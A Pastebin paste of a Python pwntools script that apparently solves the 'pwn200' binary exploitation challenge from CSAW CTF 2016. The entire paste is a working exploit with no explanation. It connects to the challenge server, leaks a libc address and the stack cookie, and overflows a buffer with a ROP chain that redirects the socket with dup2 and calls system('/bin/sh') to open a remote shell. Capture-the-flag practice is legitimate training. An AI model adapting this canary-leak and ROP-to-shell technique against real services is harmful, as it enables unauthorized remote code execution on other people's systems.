PhieuLang

pwn200_csaw2016

Sep 18th, 2016
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.58 KB | None | 0 0
  1. from pwn import *
  2.  
  3. def PwnIt():
  4.     HOST = 'pwn.chal.csaw.io'
  5.     PORT = 8002
  6.     username = '\xff'*21
  7.     menu = 0x400FA2
  8.     write_plt = 0x400AE0
  9.     libc_start_main_GOT = 0x602068
  10.     popRDI = 0x4012e3 # pop rdi ; ret
  11.     popRSI_pop = 0x00000000004012e1  
  12.     offset_str_bin_sh = -1101923
  13.     offset_system = 168656
  14.     offset_dup2 = -509488
  15.     # 0 (stdin), 1 (stdout), 2 (stderr), 3 (log file), 4 (server socket) and 5 our client accept socket
  16.     r = remote(HOST, PORT)
  17.     raw_input("debug?")
  18.     r.recvuntil(">")
  19.     r.sendline("1")
  20.     res = r.recvuntil(">")
  21.     _IO_new_proc_open = res.splitlines()[0].replace("Reference:","")
  22.     _IO_new_proc_open = int(_IO_new_proc_open,16)
  23.     system = _IO_new_proc_open - offset_system
  24.     str_bin_sh = _IO_new_proc_open - offset_str_bin_sh
  25.     dup2 = _IO_new_proc_open - offset_dup2
  26.     log.info("_IO_new_proc_open: %s" % hex(_IO_new_proc_open))
  27.     log.info("system: %s" % hex(system))
  28.     log.info("str_bin_sh: %s" % hex(str_bin_sh))
  29.     log.info("dup2: %s" % hex(dup2))
  30.     r.sendline("2")
  31.     r.recvuntil(">")
  32.     r.sendline("1")
  33.     res = r.recvuntil(">")
  34.     cookie = res[312:320]
  35.     log.info("Cookie:"+cookie.encode("hex"))
  36.     r.sendline("2")
  37.     payload = "\x90"*312
  38.     payload += cookie
  39.     payload += p64(menu)
  40.     payload += p64(popRSI_pop)
  41.     payload += p64(0x0)
  42.     payload += p64(0x0)
  43.     payload += p64(popRDI)
  44.     payload += p64(0x4)
  45.     payload += p64(dup2)
  46.    
  47.     payload += p64(popRSI_pop)
  48.     payload += p64(0x1)
  49.     payload += p64(0x1)
  50.     payload += p64(popRDI)
  51.     payload += p64(0x4)
  52.     payload += p64(dup2)
  53.    
  54.     payload += p64(popRDI)
  55.     payload += p64(str_bin_sh)
  56.     payload += p64(system)
  57.    
  58.     r.send(payload)
  59.     r.interactive()
  60. PwnIt()
Advertisement
Add Comment
Please, Sign In to add comment